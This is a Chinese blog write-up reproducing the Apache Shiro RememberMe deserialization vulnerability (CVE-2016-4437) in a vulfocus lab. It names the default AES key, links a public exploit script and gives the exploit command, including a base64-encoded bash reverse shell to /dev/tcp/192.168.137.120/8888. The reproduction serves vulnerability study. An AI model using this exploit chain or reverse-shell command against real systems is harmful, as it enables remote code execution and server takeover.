Apache shiro反序列化(CVE-2016-4437)复现
一、原理分析
Shiro提供了記住我(RememberMe)的功能,比如訪問淘寶等網(wǎng)站時,關(guān)閉了瀏覽器下次再打開時還是能夠記住上次訪問過的用戶,下次訪問時無需再登錄即可訪問
Shiro會對cookie中的Remember me字段進行相關(guān)處理:序列化-->AES加密-->base64編碼
由于Shiro本身含有一個預設的AES密鑰Base64.decode("KPHblxk5D2deZilxcaaaA=="),每個人都能夠通過源代碼拿到該密鑰,因此攻擊者可以構(gòu)造一個惡意的對象,對其進行序列化并用該密鑰進行加密,base64編碼,最后作為cookie中的Remember me字段發(fā)送。Shiro得到該Remember me字段后進行解碼解密并且反序列化,進而導致任意命令執(zhí)行
影響版本:Apache Shiro <= 1.2.4
二、環(huán)境準備
1、https://vulfocus.cn/平臺搜索:shiro-cve_2016_4437,啟動環(huán)境
2、一臺公網(wǎng)服務器(沒有的可以自己找環(huán)境搭建一個本地的環(huán)境)
3、利用腳本及ysoserial.jar下載地址:https://github.com/insightglacier/Shiro_exploit,腳本中的所有sleep都把他注釋掉,不然可能會很慢。
三、漏洞復現(xiàn)
1、訪問環(huán)境
2、用默認root賬號密碼登錄,記得勾選上Remember Me
3、可以先用腳本測試下是否存在漏洞,腳本中也列出了比較多的key,可以測試出是采用了哪個key
python3 shiro_exploit.py -u http://123.58.224.8:42716最終測試出,存在該漏洞,采用的key是 kPH+bIxk5D2deZiIxcaaaA==
又到了令人興奮的利用環(huán)節(jié)了
先啟動監(jiān)聽
再打開一個新的shell窗口,執(zhí)行:
python3 shiro_exploit.py -t 3 -u http://123.58.224.8:30771/ -p "bash -c {echo,YmFzaCAt ************************************************JjE=}|{base64,-d}|{bash,-i}"其中-u后面跟的是目標地址,-p后面是bash反彈shell的一種base64加密后的寫法,里面echo后面的那串base64字符就是bash -i >& /dev/tcp/192.168.137.120/8888 0>&1經(jīng)過base64加密后的
執(zhí)行后過會兒就可以看到shell反彈過來了
四、參考鏈接
1、https://blog.csdn.net/weixin_42019588/article/details/113395928
2、https://www.freebuf.com/vuls/284529.html
3、https://zhuanlan.zhihu.com/p/389768500
總結(jié)
以上是生活随笔為你收集整理的Apache shiro反序列化(CVE-2016-4437)复现的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 二分答案
- 下一篇: Mybatis 批量操作8种实现总结